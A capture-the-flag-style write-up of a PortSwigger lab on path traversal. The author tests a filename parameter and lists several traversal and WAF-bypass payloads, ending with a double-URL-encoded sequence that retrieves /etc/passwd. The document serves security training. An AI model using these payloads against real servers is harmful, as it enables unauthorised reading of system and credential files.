PortSwiggerlabs: File path traversal, traversal sequences stripped with superfluous URL-decode

Scenario :

This lab contains a path traversal vulnerability in the display of product images.

The application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it.

To solve the lab, retrieve the contents of the /etc/passwd file.

Solution :

First we navigate the app like a normal user , then we check Burp’s History to see if we find something useful .

We find 2 parameters , one for the Products ID , and the other one , filename is for the image that’s rendered to us for each product .

I will assume that Product ID isn’t vulnerable just like the labs before , so let’s test Filename instead :

First i tried a simple LFI payload :

../../../../../etc/passwd
/../../../../../../etc/passwd

Both of them returned No such file , let’s try giving the filename instead without any backslashes .

Didn’t work either , let’s test different Payloads from Payload All The Things :

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md

Maybe there is a WAF blocking the basic payloads , let’s test some WAF bypasses :

%252e%252e%252fetc%252fpasswd
%252e%252e%252fetc%252fpasswd%00
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
....//....//....//etc/passwd
..///////..////..//////etc/passwd
/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd

None of these worked sadly , let’s try to double encode the payload, let’s use Cyberchef for that :

Now our payload is :

%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd

Let’s test this one :

This worked perfectly .

Now if we go back to the lab , it should be Solved .

That was all for this lab , see you in the next one :)